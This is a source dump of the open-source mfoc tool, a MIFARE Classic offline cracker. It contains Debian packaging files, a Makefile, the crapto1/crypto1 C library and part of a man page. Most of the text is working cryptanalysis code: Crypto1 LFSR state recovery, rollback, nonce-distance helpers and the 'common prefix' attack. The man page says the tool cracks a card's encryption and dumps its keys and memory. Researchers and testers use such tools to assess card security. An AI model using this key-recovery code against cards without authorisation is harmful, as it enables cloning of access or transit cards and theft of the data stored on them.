26 | 2010-2012 Romain Tartière 27 | License: BSD-2-clause 28 | Redistribution and use in source and binary forms, with or without 29 | modification, are permitted provided that the following conditions are met: 30 | . 31 | 1) Redistributions of source code must retain the above copyright notice, 32 | this list of conditions and the following disclaimer. 33 | . 34 | 2 )Redistributions in binary form must reproduce the above copyright 35 | notice, this list of conditions and the following disclaimer in the 36 | documentation and/or other materials provided with the distribution. 37 | . 38 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 39 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 40 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 41 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE 42 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 43 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF 44 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 45 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN 46 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 47 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 48 | POSSIBILITY OF SUCH DAMAGE. 49 | 50 | Files: debian/* 51 | Copyright: 2011 Thomas Hood 52 | 2012-2014 Mati Aharoni 53 | 2015 Sophie Brun 55 | License: GPL-2+ 56 | 57 | License: GPL-2+ 58 | This package is free software; you can redistribute it and/or modify 59 | it under the terms of the GNU General Public License as published by 60 | the Free Software Foundation; either version 2 of the License, or 61 | (at your option) any later version. 62 | . 63 | This package is distributed in the hope that it will be useful, 64 | but WITHOUT ANY WARRANTY; without even the implied warranty of 65 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 66 | GNU General Public License for more details. 67 | . 68 | You should have received a copy of the GNU General Public License 69 | along with this program. If not, see . 70 | . 71 | On Debian systems, the complete text of the GNU General Public 72 | License version 2 can be found in "/usr/share/common-licenses/GPL-2". 73 | 74 | -------------------------------------------------------------------------------- /debian/docs: -------------------------------------------------------------------------------- 1 | AUTHORS 2 | -------------------------------------------------------------------------------- /debian/manpages: -------------------------------------------------------------------------------- 1 | src/mfoc.1 2 | -------------------------------------------------------------------------------- /debian/rules: -------------------------------------------------------------------------------- 1 | #!/usr/bin/make -f 2 | export DEB_BUILD_MAINT_OPTIONS = hardening=+all 3 | 4 | %: 5 | dh $@ 6 | 7 | override_dh_installchangelogs: 8 | dh_installchangelogs ChangeLog 9 | -------------------------------------------------------------------------------- /debian/source/format: -------------------------------------------------------------------------------- 1 | 3.0 (quilt) 2 | -------------------------------------------------------------------------------- /debian/watch: -------------------------------------------------------------------------------- 1 | version=4 2 | 3 | https://github.com/nfc-tools/mfoc/tags/ .*/mfoc-(.*)\.tar\.gz 4 | -------------------------------------------------------------------------------- /m4/.empty: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nfc-tools/mfoc/a5a4c9184d7b2a92c9a2f507009319ea9747bb30/m4/.empty -------------------------------------------------------------------------------- /src/Makefile.am: -------------------------------------------------------------------------------- 1 | AM_CFLAGS = @libnfc_CFLAGS@ 2 | 3 | bin_PROGRAMS = mfoc 4 | 5 | noinst_HEADERS = crapto1.h mfoc.h mifare.h nfc-utils.h 6 | 7 | mfoc_SOURCES = crapto1.c crypto1.c mfoc.c mifare.c nfc-utils.c 8 | mfoc_LDADD = @libnfc_LIBS@ 9 | 10 | dist_man_MANS = mfoc.1 11 | -------------------------------------------------------------------------------- /src/crapto1.c: -------------------------------------------------------------------------------- 1 | /* crapto1.c 2 | 3 | This program is free software; you can redistribute it and/or 4 | modify it under the terms of the GNU General Public License 5 | as published by the Free Software Foundation; either version 2 6 | of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program; if not, write to the Free Software 15 | Foundation, Inc., 51 Franklin Street, Fifth Floor, 16 | Boston, MA 02110-1301, US$ 17 | 18 | Copyright (C) 2008-2008 bla 19 | */ 20 | #include "crapto1.h" 21 | #include 22 | 23 | #if !defined LOWMEM && defined __GNUC__ 24 | static uint8_t filterlut[1 << 20]; 25 | static void __attribute__((constructor)) fill_lut(void) 26 | { 27 | uint32_t i; 28 | for (i = 0; i < 1 << 20; ++i) 29 | filterlut[i] = filter(i); 30 | } 31 | #define filter(x) (filterlut[(x) & 0xfffff]) 32 | #endif 33 | 34 | static void quicksort(uint32_t *const start, uint32_t *const stop) 35 | { 36 | uint32_t *it = start + 1, *rit = stop; 37 | 38 | if (it > rit) 39 | return; 40 | 41 | while (it < rit) 42 | if (*it <= *start) 43 | ++it; 44 | else if (*rit > *start) 45 | --rit; 46 | else 47 | *it ^= (*it ^= *rit, *rit ^= *it); 48 | 49 | if (*rit >= *start) 50 | --rit; 51 | if (rit != start) 52 | *rit ^= (*rit ^= *start, *start ^= *rit); 53 | 54 | quicksort(start, rit - 1); 55 | quicksort(rit + 1, stop); 56 | } 57 | /** binsearch 58 | * Binary search for the first occurence of *stop's MSB in sorted [start,stop] 59 | */ 60 | static inline uint32_t * 61 | binsearch(uint32_t *start, uint32_t *stop) 62 | { 63 | uint32_t mid, val = *stop & 0xff000000; 64 | while (start != stop) 65 | if (start[mid = (stop - start) >> 1] > val) 66 | stop = &start[mid]; 67 | else 68 | start += mid + 1; 69 | 70 | return start; 71 | } 72 | 73 | /** update_contribution 74 | * helper, calculates the partial linear feedback contributions and puts in MSB 75 | */ 76 | static inline void 77 | update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) 78 | { 79 | uint32_t p = *item >> 25; 80 | 81 | p = p << 1 | parity(*item & mask1); 82 | p = p << 1 | parity(*item & mask2); 83 | *item = p << 24 | (*item & 0xffffff); 84 | } 85 | 86 | /** extend_table 87 | * using a bit of the keystream extend the table of possible lfsr states 88 | */ 89 | static inline void 90 | extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) 91 | { 92 | in <<= 24; 93 | for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1) 94 | if (filter(*tbl) ^ filter(*tbl | 1)) { 95 | *tbl |= filter(*tbl) ^ bit; 96 | update_contribution(tbl, m1, m2); 97 | *tbl ^= in; 98 | } else if (filter(*tbl) == bit) { 99 | *++*end = tbl[1]; 100 | tbl[1] = tbl[0] | 1; 101 | update_contribution(tbl, m1, m2); 102 | *tbl++ ^= in; 103 | update_contribution(tbl, m1, m2); 104 | *tbl ^= in; 105 | } else 106 | *tbl-- = *(*end)--; 107 | } 108 | /** extend_table_simple 109 | * using a bit of the keystream extend the table of possible lfsr states 110 | */ 111 | static inline void 112 | extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) 113 | { 114 | for (*tbl <<= 1; tbl <= *end; *++tbl <<= 1) 115 | if (filter(*tbl) ^ filter(*tbl | 1)) { 116 | *tbl |= filter(*tbl) ^ bit; 117 | } else if (filter(*tbl) == bit) { 118 | *++*end = *++tbl; 119 | *tbl = tbl[-1] | 1; 120 | } else 121 | *tbl-- = *(*end)--; 122 | } 123 | /** recover 124 | * recursively narrow down the search space, 4 bits of keystream at a time 125 | */ 126 | static struct Crypto1State * 127 | recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, 128 | uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, 129 | struct Crypto1State *sl, uint32_t in) { 130 | uint32_t *o, *e, i; 131 | 132 | if (rem == -1) { 133 | for (e = e_head; e <= e_tail; ++e) { 134 | *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); 135 | for (o = o_head; o <= o_tail; ++o, ++sl) { 136 | sl->even = *o; 137 | sl->odd = *e ^ parity(*o & LF_POLY_ODD); 138 | sl[1].odd = sl[1].even = 0; 139 | } 140 | } 141 | return sl; 142 | } 143 | 144 | for (i = 0; i < 4 && rem--; i++) { 145 | extend_table(o_head, &o_tail, (oks >>= 1) & 1, 146 | LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); 147 | if (o_head > o_tail) 148 | return sl; 149 | 150 | extend_table(e_head, &e_tail, (eks >>= 1) & 1, 151 | LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); 152 | if (e_head > e_tail) 153 | return sl; 154 | } 155 | 156 | quicksort(o_head, o_tail); 157 | quicksort(e_head, e_tail); 158 | 159 | while (o_tail >= o_head && e_tail >= e_head) 160 | if (((*o_tail ^ *e_tail) >> 24) == 0) { 161 | o_tail = binsearch(o_head, o = o_tail); 162 | e_tail = binsearch(e_head, e = e_tail); 163 | sl = recover(o_tail--, o, oks, 164 | e_tail--, e, eks, rem, sl, in); 165 | } else if (*o_tail > *e_tail) 166 | o_tail = binsearch(o_head, o_tail) - 1; 167 | else 168 | e_tail = binsearch(e_head, e_tail) - 1; 169 | 170 | return sl; 171 | } 172 | /** lfsr_recovery 173 | * recover the state of the lfsr given 32 bits of the keystream 174 | * additionally you can use the in parameter to specify the value 175 | * that was fed into the lfsr at the time the keystream was generated 176 | */ 177 | struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in) { 178 | struct Crypto1State *statelist; 179 | uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; 180 | uint32_t *even_head = 0, *even_tail = 0, eks = 0; 181 | int i; 182 | 183 | for (i = 31; i >= 0; i -= 2) 184 | oks = oks << 1 | BEBIT(ks2, i); 185 | for (i = 30; i >= 0; i -= 2) 186 | eks = eks << 1 | BEBIT(ks2, i); 187 | 188 | odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); 189 | even_head = even_tail = malloc(sizeof(uint32_t) << 21); 190 | statelist = malloc(sizeof(struct Crypto1State) << 18); 191 | if (!odd_tail-- || !even_tail-- || !statelist) 192 | goto out; 193 | 194 | statelist->odd = statelist->even = 0; 195 | 196 | for (i = 1 << 20; i >= 0; --i) { 197 | if (filter(i) == (oks & 1)) 198 | *++odd_tail = i; 199 | if (filter(i) == (eks & 1)) 200 | *++even_tail = i; 201 | } 202 | 203 | for (i = 0; i < 4; i++) { 204 | extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); 205 | extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); 206 | } 207 | 208 | in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); 209 | recover(odd_head, odd_tail, oks, 210 | even_head, even_tail, eks, 11, statelist, in << 1); 211 | 212 | out: 213 | free(odd_head); 214 | free(even_head); 215 | return statelist; 216 | } 217 | 218 | static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, 219 | 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, 220 | 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA 221 | }; 222 | static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, 223 | 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, 224 | 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, 225 | 0x7EC7EE90, 0x7F63F748, 0x79117020 226 | }; 227 | static const uint32_t T1[] = { 228 | 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, 229 | 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, 230 | 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, 231 | 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C 232 | }; 233 | static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, 234 | 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, 235 | 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, 236 | 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, 237 | 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, 238 | 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0 239 | }; 240 | static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; 241 | static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; 242 | /** Reverse 64 bits of keystream into possible cipher states 243 | * Variation mentioned in the paper. Somewhat optimized version 244 | */ 245 | struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3) { 246 | struct Crypto1State *statelist, *sl; 247 | uint8_t oks[32], eks[32], hi[32]; 248 | uint32_t low = 0, win = 0; 249 | uint32_t *tail, table[1 << 16]; 250 | int i, j; 251 | 252 | sl = statelist = malloc(sizeof(struct Crypto1State) << 4); 253 | if (!sl) 254 | return 0; 255 | sl->odd = sl->even = 0; 256 | 257 | for (i = 30; i >= 0; i -= 2) { 258 | oks[i >> 1] = BIT(ks2, i ^ 24); 259 | oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); 260 | } 261 | for (i = 31; i >= 0; i -= 2) { 262 | eks[i >> 1] = BIT(ks2, i ^ 24); 263 | eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); 264 | } 265 | 266 | for (i = 0xfffff; i >= 0; --i) { 267 | if (filter(i) != oks[0]) 268 | continue; 269 | 270 | *(tail = table) = i; 271 | for (j = 1; tail >= table && j < 29; ++j) 272 | extend_table_simple(table, &tail, oks[j]); 273 | 274 | if (tail < table) 275 | continue; 276 | 277 | for (j = 0; j < 19; ++j) 278 | low = low << 1 | parity(i & S1[j]); 279 | for (j = 0; j < 32; ++j) 280 | hi[j] = parity(i & T1[j]); 281 | 282 | for (; tail >= table; --tail) { 283 | for (j = 0; j < 3; ++j) { 284 | *tail = *tail << 1; 285 | *tail |= parity((i & C1[j]) ^(*tail & C2[j])); 286 | if (filter(*tail) != oks[29 + j]) 287 | goto continue2; 288 | } 289 | 290 | for (j = 0; j < 19; ++j) 291 | win = win << 1 | parity(*tail & S2[j]); 292 | 293 | win ^= low; 294 | for (j = 0; j < 32; ++j) { 295 | win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); 296 | if (filter(win) != eks[j]) 297 | goto continue2; 298 | } 299 | 300 | *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); 301 | sl->odd = *tail ^ parity(LF_POLY_ODD & win); 302 | sl->even = win; 303 | ++sl; 304 | sl->odd = sl->even = 0; 305 | continue2: 306 | ; 307 | } 308 | } 309 | return statelist; 310 | } 311 | 312 | uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb); 313 | uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb); 314 | uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); 315 | 316 | /** lfsr_rollback_bit 317 | * Rollback the shift register in order to get previous states 318 | */ 319 | uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) 320 | { 321 | int out; 322 | uint8_t ret; 323 | 324 | s->odd &= 0xffffff; 325 | s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); 326 | 327 | out = s->even & 1; 328 | out ^= LF_POLY_EVEN & (s->even >>= 1); 329 | out ^= LF_POLY_ODD & s->odd; 330 | out ^= !!in; 331 | out ^= (ret = filter(s->odd)) & !!fb; 332 | 333 | s->even |= parity(out) << 23; 334 | return ret; 335 | } 336 | /** lfsr_rollback_byte 337 | * Rollback the shift register in order to get previous states 338 | */ 339 | uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) 340 | { 341 | int i; 342 | uint8_t ret = 0; 343 | for (i = 7; i >= 0; --i) 344 | ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; 345 | return ret; 346 | } 347 | /** lfsr_rollback_word 348 | * Rollback the shift register in order to get previous states 349 | */ 350 | uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) 351 | { 352 | int i; 353 | uint32_t ret = 0; 354 | for (i = 31; i >= 0; --i) 355 | ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); 356 | return ret; 357 | } 358 | 359 | /** nonce_distance 360 | * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y 361 | */ 362 | static uint16_t *dist = 0; 363 | int nonce_distance(uint32_t from, uint32_t to) 364 | { 365 | uint16_t x, i; 366 | if (!dist) { 367 | dist = malloc(2 << 16); 368 | if (!dist) 369 | return -1; 370 | for (x = i = 1; i; ++i) { 371 | dist[(x & 0xff) << 8 | x >> 8] = i; 372 | x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; 373 | } 374 | } 375 | return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; 376 | } 377 | bool validate_prng_nonce(uint32_t nonce) 378 | { 379 | // init prng table: 380 | nonce_distance(nonce, nonce); 381 | return ((65535 - dist[nonce >> 16] + dist[nonce & 0xffff]) % 65535) == 16; 382 | } 383 | 384 | 385 | static uint32_t fastfwd[2][8] = { 386 | { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, 387 | { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980} 388 | }; 389 | 390 | 391 | /** lfsr_prefix_ks 392 | * 393 | * Is an exported helper function from the common prefix attack 394 | * Described in the "dark side" paper. It returns an -1 terminated array 395 | * of possible partial(21 bit) secret state. 396 | * The required keystream(ks) needs to contain the keystream that was used to 397 | * encrypt the NACK which is observed when varying only the 4 last bits of Nr 398 | * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 399 | */ 400 | uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) 401 | { 402 | uint32_t c, entry, *candidates = malloc(4 << 21); 403 | int i, size = (1 << 21) - 1; 404 | 405 | if (!candidates) 406 | return 0; 407 | 408 | for (i = 0; i <= size; ++i) 409 | candidates[i] = i; 410 | 411 | for (c = 0; c < 8; ++c) 412 | for (i = 0; i <= size; ++i) { 413 | entry = candidates[i] ^ fastfwd[isodd][c]; 414 | 415 | if (filter(entry >> 1) != BIT(ks[c], isodd) || 416 | filter(entry) != BIT(ks[c], isodd + 2)) 417 | candidates[i--] = candidates[size--]; 418 | } 419 | 420 | candidates[size + 1] = -1; 421 | 422 | return candidates; 423 | } 424 | 425 | /** check_pfx_parity 426 | * helper function which eliminates possible secret states using parity bits 427 | */ 428 | static struct Crypto1State * 429 | check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8], 430 | uint32_t odd, uint32_t even, struct Crypto1State *sl) { 431 | uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; 432 | 433 | for (c = 0; good && c < 8; ++c) { 434 | sl->odd = odd ^ fastfwd[1][c]; 435 | sl->even = even ^ fastfwd[0][c]; 436 | 437 | lfsr_rollback_bit(sl, 0, 0); 438 | lfsr_rollback_bit(sl, 0, 0); 439 | 440 | ks3 = lfsr_rollback_bit(sl, 0, 0); 441 | ks2 = lfsr_rollback_word(sl, 0, 0); 442 | ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); 443 | 444 | nr = ks1 ^(prefix | c << 5); 445 | rr = ks2 ^ rresp; 446 | 447 | good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); 448 | good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); 449 | good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); 450 | good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); 451 | good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; 452 | } 453 | 454 | return sl + good; 455 | } 456 | 457 | 458 | struct Crypto1State *lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); 459 | 460 | /** lfsr_common_prefix 461 | * Implentation of the common prefix attack. 462 | * Requires the 29 bit constant prefix used as reader nonce (pfx) 463 | * The reader response used (rr) 464 | * The keystream used to encrypt the observed NACK's (ks) 465 | * The parity bits (par) 466 | * It returns a zero terminated list of possible cipher states after the 467 | * tag nonce was fed in 468 | */ 469 | struct Crypto1State * 470 | lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) { 471 | struct Crypto1State *statelist, *s; 472 | uint32_t *odd, *even, *o, *e, top; 473 | 474 | odd = lfsr_prefix_ks(ks, 1); 475 | even = lfsr_prefix_ks(ks, 0); 476 | 477 | s = statelist = malloc((sizeof *statelist) << 20); 478 | if (!s || !odd || !even) { 479 | free(odd); 480 | free(even); 481 | free(statelist); 482 | return 0; 483 | } 484 | 485 | for (o = odd; *o + 1; ++o) 486 | for (e = even; *e + 1; ++e) 487 | for (top = 0; top < 64; ++top) { 488 | *o += 1 << 21; 489 | *e += (!(top & 7) + 1) << 21; 490 | s = check_pfx_parity(pfx, rr, par, *o, *e, s); 491 | } 492 | 493 | s->odd = s->even = 0; 494 | 495 | free(odd); 496 | free(even); 497 | 498 | return statelist; 499 | } 500 | -------------------------------------------------------------------------------- /src/crapto1.h: -------------------------------------------------------------------------------- 1 | /* crapto1.h 2 | 3 | This program is free software; you can redistribute it and/or 4 | modify it under the terms of the GNU General Public License 5 | as published by the Free Software Foundation; either version 2 6 | of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program; if not, write to the Free Software 15 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 16 | MA 02110-1301, US$ 17 | 18 | Copyright (C) 2008-2009 bla 19 | */ 20 | #ifndef CRAPTO1_INCLUDED 21 | #define CRAPTO1_INCLUDED 22 | #include 23 | #include 24 | #ifdef __cplusplus 25 | extern "C" { 26 | #endif 27 | 28 | struct Crypto1State {uint32_t odd, even;}; 29 | struct Crypto1State *crypto1_create(uint64_t); 30 | void crypto1_destroy(struct Crypto1State *); 31 | void crypto1_get_lfsr(struct Crypto1State *, uint64_t *); 32 | uint8_t crypto1_bit(struct Crypto1State *, uint8_t, int); 33 | uint8_t crypto1_byte(struct Crypto1State *, uint8_t, int); 34 | uint32_t crypto1_word(struct Crypto1State *, uint32_t, int); 35 | uint32_t prng_successor(uint32_t x, uint32_t n); 36 | 37 | struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in); 38 | struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3); 39 | 40 | void lfsr_rollback(struct Crypto1State *s, uint32_t in, int fb); 41 | uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb); 42 | int nonce_distance(uint32_t from, uint32_t to); 43 | bool validate_prng_nonce(uint32_t nonce); 44 | #define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ 45 | uint32_t __n = 0,__M = 0, N = 0;\ 46 | int __i;\ 47 | for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ 48 | for(__i = FSIZE - 1; __i >= 0; __i--)\ 49 | if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ 50 | break;\ 51 | else if(__i)\ 52 | __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ 53 | else 54 | 55 | #define LF_POLY_ODD (0x29CE5C) 56 | #define LF_POLY_EVEN (0x870804) 57 | #define BIT(x, n) ((x) >> (n) & 1) 58 | #define BEBIT(x, n) BIT(x, (n) ^ 24) 59 | static inline int parity(uint32_t x) 60 | { 61 | #if !defined __i386__ || !defined __GNUC__ 62 | x ^= x >> 16; 63 | x ^= x >> 8; 64 | x ^= x >> 4; 65 | return BIT(0x6996, x & 0xf); 66 | #else 67 | __asm__("movl %1, %%eax\n" 68 | "mov %%ax, %%cx\n" 69 | "shrl $0x10, %%eax\n" 70 | "xor %%ax, %%cx\n" 71 | "xor %%ch, %%cl\n" 72 | "setpo %%al\n" 73 | "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax", "ecx"); 74 | return x; 75 | #endif 76 | } 77 | static inline int filter(uint32_t const x) 78 | { 79 | uint32_t f; 80 | 81 | f = 0xf22c0 >> (x & 0xf) & 16; 82 | f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; 83 | f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; 84 | f |= 0x1e458 >> (x >> 12 & 0xf) & 2; 85 | f |= 0x0d938 >> (x >> 16 & 0xf) & 1; 86 | return BIT(0xEC57E80A, f); 87 | } 88 | #ifdef __cplusplus 89 | } 90 | #endif 91 | #endif 92 | -------------------------------------------------------------------------------- /src/crypto1.c: -------------------------------------------------------------------------------- 1 | /* crypto1.c 2 | 3 | This program is free software; you can redistribute it and/or 4 | modify it under the terms of the GNU General Public License 5 | as published by the Free Software Foundation; either version 2 6 | of the License, or (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program; if not, write to the Free Software 15 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 16 | MA 02110-1301, US 17 | 18 | Copyright (C) 2008-2008 bla 19 | */ 20 | #include "crapto1.h" 21 | #include 22 | 23 | #define SWAPENDIAN(x)\ 24 | (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) 25 | 26 | struct Crypto1State *crypto1_create(uint64_t key) { 27 | struct Crypto1State *s = malloc(sizeof(*s)); 28 | int i; 29 | 30 | for (i = 47; s && i > 0; i -= 2) { 31 | s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); 32 | s->even = s->even << 1 | BIT(key, i ^ 7); 33 | } 34 | return s; 35 | } 36 | void crypto1_destroy(struct Crypto1State *state) 37 | { 38 | free(state); 39 | } 40 | void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) 41 | { 42 | int i; 43 | for (*lfsr = 0, i = 23; i >= 0; --i) { 44 | *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); 45 | *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); 46 | } 47 | } 48 | uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) 49 | { 50 | uint32_t feedin; 51 | uint8_t ret = filter(s->odd); 52 | 53 | feedin = ret & !!is_encrypted; 54 | feedin ^= !!in; 55 | feedin ^= LF_POLY_ODD & s->odd; 56 | feedin ^= LF_POLY_EVEN & s->even; 57 | s->even = s->even << 1 | parity(feedin); 58 | 59 | s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); 60 | 61 | return ret; 62 | } 63 | uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) 64 | { 65 | uint8_t i, ret = 0; 66 | 67 | for (i = 0; i < 8; ++i) 68 | ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; 69 | 70 | return ret; 71 | } 72 | uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) 73 | { 74 | uint32_t i, ret = 0; 75 | 76 | for (i = 0; i < 32; ++i) 77 | ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24); 78 | 79 | return ret; 80 | } 81 | 82 | /* prng_successor 83 | * helper used to obscure the keystream during authentication 84 | */ 85 | uint32_t prng_successor(uint32_t x, uint32_t n) 86 | { 87 | SWAPENDIAN(x); 88 | while (n--) 89 | x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; 90 | 91 | return SWAPENDIAN(x); 92 | } 93 | -------------------------------------------------------------------------------- /src/mfoc.1: -------------------------------------------------------------------------------- 1 | .\" Hey, EMACS: -*- nroff -*- 2 | .TH MFOC 1 "May 13, 2011" 3 | .SH NAME 4 | mfoc \- MIFARE Classic offline cracker 5 | .SH SYNOPSIS 6 | .B mfoc 7 | [ \fB\-h\fP ] 8 | [ \fB\-k\fP \fIKEY\fR ]... 9 | [ \fB\-O\fP \fIFILE\fR ] 10 | [ \fB\-P\fP \fINUM\fR ] 11 | [ \fB\-T\fP \fINUM\fR ] 12 | .SH DESCRIPTION 13 | This manual page documents briefly the 14 | .B mfoc 15 | command. 16 | .PP 17 | \fBmfoc\fP is a program that cracks the encryption of a MIFARE Classic chip and dumps the chip's keys and decrypted memory contents to a file. 18 | To run it you need to have access to an NFC reader and, of course, a card equipped with a MIFARE Classic chip. 19 | .SH OPTIONS 20 | A summary of options is included below. 21 | .TP 22 | \fB\-h\fP 23 | Show summary of options. 24 | .TP 25 | \fB\-k\fP \fIKEY\fR 26 | Initially try KEY in addition to the default keys. 27 | .TP 28 | \fB\-O\fP \fIFILE\fR 